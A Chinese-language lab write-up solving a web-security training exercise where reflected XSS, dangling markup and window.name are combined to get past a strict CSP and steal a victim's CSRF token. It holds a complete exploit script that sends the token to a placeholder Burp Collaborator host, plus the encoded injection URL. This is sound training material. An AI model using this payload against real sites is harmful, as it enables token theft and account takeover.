# Cross-site scripting Lab29 本題是 CSP + Reflected XSS 的 combo,要用 dangling markup injection 加上 `window.name` 傳資料,繞過 CSP 限制。 一樣先進入網站。 ![image](https://hackmd.io/_uploads/B1NBGQQHxe.png) 問題點: - 網站有 Reflected XSS,但 CSP 超嚴格(擋外部 script)。 - 想偷 Victim 的 CSRF token,但不能直接送到自己的網站。 - 所以: - 用 `<a href>` 誘導使用者點擊(必須包含文字 "Click")。 - 透過 `window.name` 傳資料。 - 再用自己的 exploit server 把 window.name 偷回來。 先登入帳號。 ![image](https://hackmd.io/_uploads/r1NizQXHex.png) 這裡會擋 `<script>`,所以想直接在更改 email 的請求中塞 payload 是不可的。 因此利用 dangling markup 植入「釣魚連結」。 這邊要讓受害者看到一個「Click me」的超連結,到我們的 exploit server 寫 code: ```html <script> if (window.name) { new Image().src = "//YOUR-COLLAB-ID.burpcollaborator.net?" + encodeURIComponent(window.name); } else { location = "https://YOUR-LAB-ID.web-security-academy.net/my-account?email=%22%3E%3Ca%20href=%22https://exploit-0acf007203e9c14582d6565001dc0087.exploit-server.net/exploit%22%3EClick%20me%3C/a%3E%3Cbase%20target=%27"; } </script> ``` - 第一次訪問會 redirect 受害者去你釣魚的頁面。 - 當受害者點擊「Click me」超連結時,會帶著自己的 CSRF token 開啟 `my-account`。 - 這時 `window.name` 被設成內頁內容,然後發送到 Burp Collaborator。 按照道理來說,這時 Collaborator 會出現 token 值,我們可以利用 token 值拿去更改我們在改 email 時的 token。 這時我們的 email 就會被更改了,但有趣的是我 Collaborator 爆了,連不上 server,所以所有基於它的「外部服務互動測試」(OAST)都跳過了。 ![image](https://hackmd.io/_uploads/rkm9I77rxl.png) 所以這邊要等我 Collaborator 修好。 ---